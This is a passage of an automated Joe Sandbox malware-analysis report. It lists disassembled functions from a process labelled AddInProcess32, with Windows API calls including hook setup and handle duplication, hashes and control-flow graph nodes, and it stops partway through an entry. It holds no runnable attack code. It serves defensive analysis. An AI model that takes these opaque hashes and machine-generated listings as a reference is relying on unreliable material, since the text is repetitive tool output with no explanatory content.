                                                              • Instruction Fuzzy Hash: D841C570B041499FCB198FAAC844ABEBBF7BF89300F188869D405DB765DB74C946CB91
                                                              Function 05DE7778 Relevance: 1.6, APIs: 1, Instructions: 121COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SetWindowsHookExW.USER32(?,00000000,?,?,?,?,?,00000000,00000000,?,05DE7B4D,00000000,00000000), ref: 05DE7C60
                                                              Memory Dump Source
                                                              • Source File: 00000006.00000002.4235750841.0000000005DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_6_2_5de0000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID: HookWindows
                                                              • String ID:
                                                              • API String ID: 2559412058-0
                                                              • Opcode ID: 7e2a260980db8c506e20dd5e921d3cafbd36400967090076bb0d4d9e732d929e
                                                              • Instruction ID: 7cc5ee372256d15e76b8a18f8d15dec954c3c0f174d12c9416646643f4df0a21
                                                              • Opcode Fuzzy Hash: 7e2a260980db8c506e20dd5e921d3cafbd36400967090076bb0d4d9e732d929e
                                                              • Instruction Fuzzy Hash: F941EE718042A88FDB01EFACC9947DEBFF0FF49314F14406AD089AB261D7749485CBA9
                                                              Function 00CB1F0C Relevance: 1.6, APIs: 1, Instructions: 96COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • CreateActCtxA.KERNEL32(?), ref: 00CB33F1
                                                              Memory Dump Source
                                                              • Source File: 00000006.00000002.4208639564.0000000000CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CB0000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_6_2_cb0000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID: Create
                                                              • String ID:
                                                              • API String ID: 2289755597-0
                                                              • Opcode ID: 4f9ce7bcaadd002ffc49a68c037b84e7520df474184a2c4c85d01c657633b22a
                                                              • Instruction ID: 92d07a2ba6458740e44b367f511d841c89876f04005fb5c7f798cc3cd47320f5
                                                              • Opcode Fuzzy Hash: 4f9ce7bcaadd002ffc49a68c037b84e7520df474184a2c4c85d01c657633b22a
                                                              • Instruction Fuzzy Hash: 0E41F1B0C0465DCBDB24CFA9C844BDEBBF5BF48304F20806AD408AB251DBB56A45CF90
                                                              Function 00CB3337 Relevance: 1.6, APIs: 1, Instructions: 95COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • CreateActCtxA.KERNEL32(?), ref: 00CB33F1
                                                              Memory Dump Source
                                                              • Source File: 00000006.00000002.4208639564.0000000000CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CB0000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_6_2_cb0000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID: Create
                                                              • String ID:
                                                              • API String ID: 2289755597-0
                                                              • Opcode ID: ca21346ad28c853de2fe44136d9144675b2759b1f2a7407756df6742445b9c14
                                                              • Instruction ID: 245dc8a0d7544eca18916646765cfa51b6dfb3e8a0a46cd363582fe793d53691
                                                              • Opcode Fuzzy Hash: ca21346ad28c853de2fe44136d9144675b2759b1f2a7407756df6742445b9c14
                                                              • Instruction Fuzzy Hash: 7641F0B0C00659CFDB25CFA9C844BDEBBF5BF49304F2480AAD408AB251DB756A46CF90
                                                              Function 05DE7BC8 Relevance: 1.6, APIs: 1, Instructions: 72COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SetWindowsHookExW.USER32(?,00000000,?,?,?,?,?,00000000,00000000,?,05DE7B4D,00000000,00000000), ref: 05DE7C60
                                                              Memory Dump Source
                                                              • Source File: 00000006.00000002.4235750841.0000000005DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_6_2_5de0000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID: HookWindows
                                                              • String ID:
                                                              • API String ID: 2559412058-0
                                                              • Opcode ID: 3cb8aec5d97110390081642416ba28c276579698b93ae98c00dbcc970f1afb1e
                                                              • Instruction ID: 9a74efbe1e57894a3e166fc2cba827d5ac9afdbcc49e66b198f2017024896f47
                                                              • Opcode Fuzzy Hash: 3cb8aec5d97110390081642416ba28c276579698b93ae98c00dbcc970f1afb1e
                                                              • Instruction Fuzzy Hash: B63145B5900259CFCB05EFA8D984BDEBBF4FF48310F14881AD459B7261D7749944CBA4
                                                              Function 05DE776C Relevance: 1.6, APIs: 1, Instructions: 68COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SetWindowsHookExW.USER32(?,00000000,?,?,?,?,?,00000000,00000000,?,05DE7B4D,00000000,00000000), ref: 05DE7C60
                                                              Memory Dump Source
                                                              • Source File: 00000006.00000002.4235750841.0000000005DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_6_2_5de0000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID: HookWindows
                                                              • String ID:
                                                              • API String ID: 2559412058-0
                                                              • Opcode ID: 32a12de9047c09a25438b7a05e9951581f8063d3b0e1ff22bc2ac472a260121b
                                                              • Instruction ID: ae973b7216ac2fe4e0003e64eafd95c2b80b041360f911791f3af8b64c932e40
                                                              • Opcode Fuzzy Hash: 32a12de9047c09a25438b7a05e9951581f8063d3b0e1ff22bc2ac472a260121b
                                                              • Instruction Fuzzy Hash: EB2133B5D002188FCB10DFA9C988BDEBBF4FB48310F10882AE419B7360D774A940CBA5
                                                              Function 00CBCFD9 Relevance: 1.6, APIs: 1, Instructions: 64COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 00CBD067
                                                              Memory Dump Source
                                                              • Source File: 00000006.00000002.4208639564.0000000000CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CB0000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_6_2_cb0000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID: DuplicateHandle
                                                              • String ID:
                                                              • API String ID: 3793708945-0
                                                              • Opcode ID: 99a94dd1f85fd43c395fa5b79a95471ab486ca5fb378ddae1b4a734c90be223b
                                                              • Instruction ID: 2d9069efab3fc141278682a09159702f924ed8d73058c07382e765b1024a340c
                                                              • Opcode Fuzzy Hash: 99a94dd1f85fd43c395fa5b79a95471ab486ca5fb378ddae1b4a734c90be223b
                                                              • Instruction Fuzzy Hash: 9021E2B5D00219DFDB10CFA9D984AEEBBF4EB08310F14841AE959B7361D374A945CFA4
                                                              Function 05DE7944 Relevance: 1.6, APIs: 1, Instructions: 64COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • EnumWindows.USER32(00000000,00000000,?,?,?,?,?,?,?,05DE9664), ref: 05DE96FD
                                                              Memory Dump Source
                                                              • Source File: 00000006.00000002.4235750841.0000000005DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_6_2_5de0000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID: EnumWindows
                                                              • String ID:
                                                              • API String ID: 1129996299-0
                                                              • Opcode ID: d6a73f532efab8d2195070df4c01628e5b9ac47cec64603b093e9ebaa46cf0bc
                                                              • Instruction ID: a5aca3d435a935318a58e18a3d0e5b20e0d8d6432e220a85ec406ce9914346f5
                                                              • Opcode Fuzzy Hash: d6a73f532efab8d2195070df4c01628e5b9ac47cec64603b093e9ebaa46cf0bc
                                                              • Instruction Fuzzy Hash: 3C2138B1D042498FCB14DF9AC844BEEBBF5EB88320F14842ED459A7390DB74A945CFA5
                                                              Function 00CBCFE0 Relevance: 1.6, APIs: 1, Instructions: 62COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 00CBD067
                                                              Memory Dump Source
                                                              • Source File: 00000006.00000002.4208639564.0000000000CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CB0000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_6_2_cb0000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID: DuplicateHandle
                                                              • String ID:
                                                              • API String ID: 3793708945-0
                                                              • Opcode ID: 896752f75c038466cbc629e4e9ab5d11ea11fd5de74881a788972fab48063442
                                                              • Instruction ID: 5e99dd22f483e35e2cd40c3559d7e34b8b430b3c6addaf973d6a6bcfd6807498
                                                              • Opcode Fuzzy Hash: 896752f75c038466cbc629e4e9ab5d11ea11fd5de74881a788972fab48063442
                                                              • Instruction Fuzzy Hash: BC21E2B5900248DFDB10CFAAD984ADEBFF8EB48320F14801AE918A7350D374A940CFA4
                                                              Function 05DE9680 Relevance: 1.6, APIs: 1, Instructions: 62COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • EnumWindows.USER32(00000000,00000000,?,?,?,?,?,?,?,05DE9664), ref: 05DE96FD
                                                              Memory Dump Source
                                                              • Source File: 00000006.00000002.4235750841.0000000005DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_6_2_5de0000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID: EnumWindows
                                                              • String ID:
                                                              • API String ID: 1129996299-0
                                                              • Opcode ID: 4bf55c171dd0702529de264e16b570ecabd091383f8aa191699ed952a27f9832
                                                              • Instruction ID: cf92d9e64428dfeaa4b48ae9eb88e6c2cf3c8d76ff6d36efa6f6c266ca54c38b
                                                              • Opcode Fuzzy Hash: 4bf55c171dd0702529de264e16b570ecabd091383f8aa191699ed952a27f9832
                                                              • Instruction Fuzzy Hash: 1A2139719042498FCB14DF9AC8447DEBBF5AB88310F14842ED459A7390DB749945CF65
                                                              Function 05C71401 Relevance: 1.3, Strings: 1, Instructions: 90COMMON
                                                              Download Yara Rule
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000006.00000002.4235685529.0000000005C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C70000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_6_2_5c70000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID: JCvq
                                                              • API String ID: 0-4183214854
                                                              • Opcode ID: f42c77e16d6cdf560ea4496c4ee1a5c8590921b2e9792a64f5d647032b720a62
                                                              • Instruction ID: fff608930a6450b3a4248e23d7c7a7f73ce9804b878c7eaae6a4d0f40cf583bd
                                                              • Opcode Fuzzy Hash: f42c77e16d6cdf560ea4496c4ee1a5c8590921b2e9792a64f5d647032b720a62
                                                              • Instruction Fuzzy Hash: 6E31E434B042499FCB00DFB9C8509AEBBF6FF89214B14446AD911DB3A5DB348C06CB90
                                                              Function 05C70F90 Relevance: .2, Instructions: 200COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000006.00000002.4235685529.0000000005C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C70000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_6_2_5c70000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 1c543a2e320fdd7de8911710f70cfbb09eedaf6d96185af71c8505f24ae33e45
                                                              • Instruction ID: fb7b5182e68bc9ed9fa51a2009a693fbda7d067c5c8d997f3ef5d708b75b1ba5
                                                              • Opcode Fuzzy Hash: 1c543a2e320fdd7de8911710f70cfbb09eedaf6d96185af71c8505f24ae33e45
                                                              • Instruction Fuzzy Hash: 0B714E34B002499FCB18DF69C8949AEBBF6FF85314F148869E9169B7A1CB31DD41CB90
                                                              Function 05C70F7F Relevance: .1, Instructions: 92COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000006.00000002.4235685529.0000000005C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C70000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_6_2_5c70000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: d0c6c2812dbb18984130f914920f483a976fb7b8de501478d986636008157d1a
                                                              • Instruction ID: 1625ac7b755fffd64f5c2d2921f0b01afd34a3899c7c8698c2d75950647d6545
                                                              • Opcode Fuzzy Hash: d0c6c2812dbb18984130f914920f483a976fb7b8de501478d986636008157d1a
                                                              • Instruction Fuzzy Hash: F231AE34700249DFCB08DF69C9809AEBBB6FF89314B15856AE9159B7A1CB31DD41CB90
                                                              Function 00C5D4D8 Relevance: .1, Instructions: 75COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000006.00000002.4207790651.0000000000C5D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C5D000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_6_2_c5d000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 7f55c9aed6d57d4ae62fd2463d7357a92d70e839fdfe819d501a3bd5998c7950
                                                              • Instruction ID: f7fffc729371d32ff243c0ca19217f27651291362dacedfe92fdbf5f62fc873c
                                                              • Opcode Fuzzy Hash: 7f55c9aed6d57d4ae62fd2463d7357a92d70e839fdfe819d501a3bd5998c7950
                                                              • Instruction Fuzzy Hash: C22148B5500300DFCB15DF04C9C0B16BF65FB98319F208169EC0B0B256D336D98AC7A2
                                                              Function 00C6D110 Relevance: .1, Instructions: 72COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000006.00000002.4207933365.0000000000C6D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C6D000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_6_2_c6d000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 748902daf1d90b0038af8c943d39b039820c5c9af64d3d5ada2c573c631685ba
                                                              • Instruction ID: a06064a066fea9cceff6002c7b2114b38348689743ab7b053518668853d253c6
                                                              • Opcode Fuzzy Hash: 748902daf1d90b0038af8c943d39b039820c5c9af64d3d5ada2c573c631685ba
                                                              • Instruction Fuzzy Hash: 59210475B04204DFCB24DF14D9C0B2ABBA5FB85324F20C56DE80A4B256C3BAD846CA61
                                                              Function 00C6D2D8 Relevance: .1, Instructions: 70COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000006.00000002.4207933365.0000000000C6D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C6D000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_6_2_c6d000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 3bd6d74a4f3bd1e5044de16b2baad70179dba73072f6cb11b05828915c20ddd4
                                                              • Instruction ID: 48fa2694f3715767a4a9639b8648b10389afbd46c9bd7cc62a4f921d3a3f8f62
                                                              • Opcode Fuzzy Hash: 3bd6d74a4f3bd1e5044de16b2baad70179dba73072f6cb11b05828915c20ddd4
                                                              • Instruction Fuzzy Hash: 0C2105B1B04240DFD720DF14D6C0B2ABBB5FB94714F20C579D84A4B351C339D80AC6A2
                                                              Function 00C5D4D3 Relevance: .1, Instructions: 56COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000006.00000002.4207790651.0000000000C5D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C5D000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_6_2_c5d000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
                                                              • Instruction ID: 83224630585e26e3ceba827705935881c00938d8cf98a8f32b85720f7f1602e2
                                                              • Opcode Fuzzy Hash: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
                                                              • Instruction Fuzzy Hash: CA119DB6504340CFDB16CF14D5C4B16BF61FB94319F2486A9DD0A0A256C33AD99ACBA1
                                                              Function 00C6D10B Relevance: .1, Instructions: 53COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000006.00000002.4207933365.0000000000C6D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C6D000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_6_2_c6d000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
                                                              • Instruction ID: d5fc44d96810badf2cedc909bcb62c251a612ed96b9fac7653bd5e931a291c7b
                                                              • Opcode Fuzzy Hash: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
                                                              • Instruction Fuzzy Hash: 7E11BE75A04240CFCB15CF10D9C4B19BBA1FB85324F24C6AADC4A4B256C37AD94ACB51
                                                              Function 00C6D2D3 Relevance: .1, Instructions: 51COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000006.00000002.4207933365.0000000000C6D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C6D000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_6_2_c6d000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: f4fd1685533d0d384cdf4d5ee6433410c1088aed2c2c41d4a7b17b624f589a6c
                                                              • Instruction ID: cca2526d5fb8a5f4433eac6153c5c2b81807e649b2f6ea36bad87533afc6c5d4
                                                              • Opcode Fuzzy Hash: f4fd1685533d0d384cdf4d5ee6433410c1088aed2c2c41d4a7b17b624f589a6c
                                                              • Instruction Fuzzy Hash: 1311A375A04680CFDB11CF14D5C4B19FBB1FB94714F24C6AAD84A4B756C33AD90ACB52

                                                              Execution Graph

                                                              Execution Coverage:10.1%
                                                              Dynamic/Decrypted Code Coverage:100%
                                                              Signature Coverage:0%
                                                              Total number of Nodes:45
                                                              Total number of Limit Nodes:7
                                                              execution_graph 8349 17986e8 8350 17986fd 8349->8350 8352 1798710 8350->8352 8358 1797f20 8350->8358 8353 179871e 8353->8352 8354 1797f20 OleInitialize 8353->8354 8355 179874f 8354->8355 8355->8352 8364 1797ff4 8355->8364 8357 17987fc 8361 1797f2b 8358->8361 8359 1798ace 8359->8353 8360 17987d9 8360->8353 8361->8359 8361->8360 8362 1797ff4 OleInitialize 8361->8362 8363 17987fc 8362->8363 8365 1797fff 8364->8365 8366 1798b13 8365->8366 8368 1798010 8365->8368 8366->8357 8369 1798b48 OleInitialize 8368->8369 8371 1798bac 8369->8371 8371->8366 8372 1790848 8373 1790849 8372->8373 8374 1790852 8373->8374 8376 17921a0 8373->8376 8377 17921c5 8376->8377 8381 179229f 8377->8381 8385 17922b0 8377->8385 8382 17922af 8381->8382 8384 17923b4 8382->8384 8389 1791f0c 8382->8389 8387 17922d7 8385->8387 8386 17923b4 8386->8386 8387->8386 8388 1791f0c CreateActCtxA 8387->8388 8388->8386 8390 1793340 CreateActCtxA 8389->8390 8392 1793403 8390->8392 8393 1797ad0 8394 1797ad1 GetCurrentProcess 8393->8394 8396 1797b68 GetCurrentThread 8394->8396 8397 1797b61 8394->8397 8398 1797b9e 8396->8398 8399 1797ba5 GetCurrentProcess 8396->8399 8397->8396 8398->8399 8402 1797bdb 8399->8402 8400 1797c03 GetCurrentThreadId 8401 1797c34 8400->8401 8402->8400 8403 1798120 DuplicateHandle 8404 17981b6 8403->8404

                                                              Executed Functions

                                                              Function 01797AA8 Relevance: 6.1, APIs: 4, Instructions: 147threadCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 263 1797aa8-1797ac2 266 1797ac9-1797aca 263->266 267 1797ac4-1797ac8 263->267 268 1797acb-1797ad0 266->268 269 1797ad1-1797b5f GetCurrentProcess 266->269 267->266 268->269 274 1797b68-1797b9c GetCurrentThread 269->274 275 1797b61-1797b67 269->275 276 1797b9e-1797ba4 274->276 277 1797ba5-1797bd9 GetCurrentProcess 274->277 275->274 276->277 279 1797bdb-1797be1 277->279 280 1797be2-1797bfd call 17980a8 277->280 279->280 283 1797c03-1797c32 GetCurrentThreadId 280->283 284 1797c3b-1797c9d 283->284 285 1797c34-1797c3a 283->285 285->284
                                                              APIs
                                                              • GetCurrentProcess.KERNEL32 ref: 01797B4E
                                                              • GetCurrentThread.KERNEL32 ref: 01797B8B
                                                              • GetCurrentProcess.KERNEL32 ref: 01797BC8
                                                              • GetCurrentThreadId.KERNEL32 ref: 01797C21
                                                              Memory Dump Source
                                                              • Source File: 00000007.00000002.1852037279.0000000001790000.00000040.00000800.00020000.00000000.sdmp, Offset: 01790000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_7_2_1790000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID: Current$ProcessThread
                                                              • String ID:
                                                              • API String ID: 2063062207-0
                                                              • Opcode ID: 6309b23bddf6dfd7fedebd964cc0c259c353547f218ab46ac2be6b9bbbfd5c38
                                                              • Instruction ID: 80049e2742d41b71aa3fc95fe99f7f88792063ac67c7b7a06fc2750492eaab4c
                                                              • Opcode Fuzzy Hash: 6309b23bddf6dfd7fedebd964cc0c259c353547f218ab46ac2be6b9bbbfd5c38
                                                              • Instruction Fuzzy Hash: 935177B09103498FDB18DFA9E588BDEBBF1EF49314F208069D149A7260D7349988CF65
                                                              Function 01797AD0 Relevance: 6.1, APIs: 4, Instructions: 128threadCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 292 1797ad0-1797b5f GetCurrentProcess 297 1797b68-1797b9c GetCurrentThread 292->297 298 1797b61-1797b67 292->298 299 1797b9e-1797ba4 297->299 300 1797ba5-1797bd9 GetCurrentProcess 297->300 298->297 299->300 302 1797bdb-1797be1 300->302 303 1797be2-1797bfd call 17980a8 300->303 302->303 306 1797c03-1797c32 GetCurrentThreadId 303->306 307 1797c3b-1797c9d 306->307 308 1797c34-1797c3a 306->308 308->307
                                                              APIs
                                                              • GetCurrentProcess.KERNEL32 ref: 01797B4E
                                                              • GetCurrentThread.KERNEL32 ref: 01797B8B
                                                              • GetCurrentProcess.KERNEL32 ref: 01797BC8
                                                              • GetCurrentThreadId.KERNEL32 ref: 01797C21
                                                              Memory Dump Source
                                                              • Source File: 00000007.00000002.1852037279.0000000001790000.00000040.00000800.00020000.00000000.sdmp, Offset: 01790000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_7_2_1790000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID: Current$ProcessThread
                                                              • String ID:
                                                              • API String ID: 2063062207-0
                                                              • Opcode ID: c435425df13c2adf48dc25b39fd6b41b8a6256516d40b54b97b1796733da81ef
                                                              • Instruction ID: 67d1a2fe5aa1041e0ea51c907b5e3ed3d79aa3ea35ab3942021c2c63e9c06110
                                                              • Opcode Fuzzy Hash: c435425df13c2adf48dc25b39fd6b41b8a6256516d40b54b97b1796733da81ef
                                                              • Instruction Fuzzy Hash: 315165B09002498FDB18DFAAE548BDEFBF1EF48314F208469E119A7360DB349984CF65
                                                              Function 01791F0C Relevance: 1.6, APIs: 1, Instructions: 96COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 515 1791f0c-1793401 CreateActCtxA 519 179340a-1793464 515->519 520 1793403-1793409 515->520 527 1793473-1793477 519->527 528 1793466-1793469 519->528 520->519 529 1793479-1793485 527->529 530 1793488 527->530 528->527 529->530 531 1793489 530->531 531->531
                                                              APIs
                                                              • CreateActCtxA.KERNEL32(?), ref: 017933F1
                                                              Memory Dump Source
                                                              • Source File: 00000007.00000002.1852037279.0000000001790000.00000040.00000800.00020000.00000000.sdmp, Offset: 01790000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_7_2_1790000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID: Create
                                                              • String ID:
                                                              • API String ID: 2289755597-0
                                                              • Opcode ID: ad5d038b23bd270699ccac5bfb9674253ea50bcb76ce80ebf59eb743c9853ec9
                                                              • Instruction ID: 3dbf710a6832d86c0b5a0dac0ee291969e3b5b580418df5a36fe0551233adfa9
                                                              • Opcode Fuzzy Hash: ad5d038b23bd270699ccac5bfb9674253ea50bcb76ce80ebf59eb743c9853ec9
                                                              • Instruction Fuzzy Hash: 4A41CEB0C00619CFDB24CFA9D844BDEBBB5BF49304F2480AAD408AB265DB756949CF91
                                                              Function 01793337 Relevance: 1.6, APIs: 1, Instructions: 95COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 533 1793337-1793339 534 179333b-179336a 533->534 535 1793374-1793401 CreateActCtxA 533->535 534->535 537 179340a-1793464 535->537 538 1793403-1793409 535->538 545 1793473-1793477 537->545 546 1793466-1793469 537->546 538->537 547 1793479-1793485 545->547 548 1793488 545->548 546->545 547->548 549 1793489 548->549 549->549
                                                              APIs
                                                              • CreateActCtxA.KERNEL32(?), ref: 017933F1
                                                              Memory Dump Source
                                                              • Source File: 00000007.00000002.1852037279.0000000001790000.00000040.00000800.00020000.00000000.sdmp, Offset: 01790000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_7_2_1790000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID: Create
                                                              • String ID:
                                                              • API String ID: 2289755597-0
                                                              • Opcode ID: 484997a4150da4ee3d66d91aea3225fbc5e50dade5f0c6ec42dbfd5b5a3121b0
                                                              • Instruction ID: ad955076246b3f6cea5a4994da0f128969ead2e01d5d5568193bf107ce9ee026
                                                              • Opcode Fuzzy Hash: 484997a4150da4ee3d66d91aea3225fbc5e50dade5f0c6ec42dbfd5b5a3121b0
                                                              • Instruction Fuzzy Hash: 9441FFB0C00619CFDB24CFA9D844BDEFBB5BF49304F24806AD409AB265DB75694ACF91
                                                              Function 01798118 Relevance: 1.6, APIs: 1, Instructions: 64COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 551 1798118-179811b 552 1798120-17981b4 DuplicateHandle 551->552 553 17981bd-17981da 552->553 554 17981b6-17981bc 552->554 554->553
                                                              APIs
                                                              • DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 017981A7
                                                              Memory Dump Source
                                                              • Source File: 00000007.00000002.1852037279.0000000001790000.00000040.00000800.00020000.00000000.sdmp, Offset: 01790000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_7_2_1790000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID: DuplicateHandle
                                                              • String ID:
                                                              • API String ID: 3793708945-0
                                                              • Opcode ID: 5e5837c00f75db6c90ee8beca183543f4bd876d3eb1451e344663dffdb272781
                                                              • Instruction ID: 3c12ffdecce4bbaa4216b0af26903d19340e2167b33f424c70b222a10163efa5
                                                              • Opcode Fuzzy Hash: 5e5837c00f75db6c90ee8beca183543f4bd876d3eb1451e344663dffdb272781
                                                              • Instruction Fuzzy Hash: 6F21C6B5D00259AFDB10CF9AD984ADEFFF8EB48310F14841AE958A7350D378A944CFA5
                                                              Function 01798120 Relevance: 1.6, APIs: 1, Instructions: 62COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 557 1798120-17981b4 DuplicateHandle 558 17981bd-17981da 557->558 559 17981b6-17981bc 557->559 559->558
                                                              APIs
                                                              • DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 017981A7
                                                              Memory Dump Source
                                                              • Source File: 00000007.00000002.1852037279.0000000001790000.00000040.00000800.00020000.00000000.sdmp, Offset: 01790000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_7_2_1790000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID: DuplicateHandle
                                                              • String ID:
                                                              • API String ID: 3793708945-0
                                                              • Opcode ID: 32f575dafb84c4db2d9d836a1ced1b396af2203738f48627895581e74bf26834
                                                              • Instruction ID: 868f83cad51a0ca3bbd71c297b0a106ae92faaa1dcdf5236a8356824c2e8adf4
                                                              • Opcode Fuzzy Hash: 32f575dafb84c4db2d9d836a1ced1b396af2203738f48627895581e74bf26834
                                                              • Instruction Fuzzy Hash: 5521C2B59002599FDB10CFAAD984ADEFFF8EB48320F14841AE958A7350D374A944CFA5
                                                              Function 01798B40 Relevance: 1.5, APIs: 1, Instructions: 48comCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 562 1798b40-1798b42 563 1798b49-1798baa OleInitialize 562->563 564 1798b44-1798b48 562->564 565 1798bac-1798bb2 563->565 566 1798bb3-1798bd0 563->566 564->563 565->566
                                                              APIs
